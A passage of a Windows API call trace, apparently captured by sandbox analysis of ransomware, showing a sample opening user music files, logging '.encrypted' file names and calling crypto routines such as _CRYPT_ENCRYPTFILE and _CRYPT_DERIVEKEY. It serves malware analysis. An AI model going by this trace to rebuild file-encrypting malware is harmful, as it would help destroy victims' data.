wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.631] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0027.631] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.631] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.631] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.631] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.631] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.631] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.631] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.631] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.631] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.631] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.631] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.631] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.631] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.631] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.631] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.631] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.631] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0027.631] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.631] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.631] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.631] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0027.631] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.631] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.632] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.632] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.632] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.632] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.632] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0027.632] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.632] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.632] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.632] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.632] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.633] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.633] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.633] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.633] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.633] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.633] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.633] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.633] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.633] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0027.633] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=7803) returned 1 [0027.633] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.633] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0027.634] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0027.634] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1e7b, lpOverlapped=0x0) returned 1 [0027.634] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0027.634] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1e7b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.634] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=7803) returned 1 [0027.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\zcLJLew5Ko3qLSRl.encrypted.m4a\r\n", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0027.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\zcLJLew5Ko3qLSRl.encrypted.m4a\r\n", cchWideChar=77, lpMultiByteStr=0xe8f406a370, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\zcLJLew5Ko3qLSRl.encrypted.m4a\r\n", lpUsedDefaultChar=0x0) returned 77 [0027.635] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f406a250*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f406a250*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x4c, lpOverlapped=0x0) returned 1 [0027.635] CloseHandle (hObject=0x1fc) returned 1 [0027.635] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.635] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.636] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.636] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.636] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.636] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.636] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.637] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.637] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41788a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0027.637] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0027.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41788a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0027.638] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0027.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\Yo5YETXnV.m4a", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0027.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\Yo5YETXnV.m4a", cchWideChar=41, lpMultiByteStr=0xe8f404bcd0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\Yo5YETXnV.m4a", lpUsedDefaultChar=0x0) returned 41 [0027.638] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\Yo5YETXnV.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\yo5yetxnv.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=41, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0027.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=41, lpWideCharStr=0xe8f4069fb0, cchWideChar=41 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\Yo5YETXnV.m4a") returned 41 [0027.638] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.639] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.639] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.639] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.639] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178400, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0027.640] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0027.640] CloseHandle (hObject=0x1fc) returned 1 [0027.640] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.640] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.640] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.640] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.640] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.640] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.640] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.640] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.640] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.640] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.640] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.640] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.641] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.641] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0027.641] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.641] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.641] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.641] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.641] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.641] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.641] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.641] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.641] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.641] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.641] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.641] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.641] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.641] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.641] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.641] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0027.641] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.641] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.641] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.641] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.641] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.641] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0027.641] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.641] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0027.642] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.642] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.642] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0027.642] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.642] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.642] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.642] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.642] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.642] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.642] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.642] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.642] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.642] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.642] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.642] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.642] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0027.642] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.642] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.642] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.642] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.642] 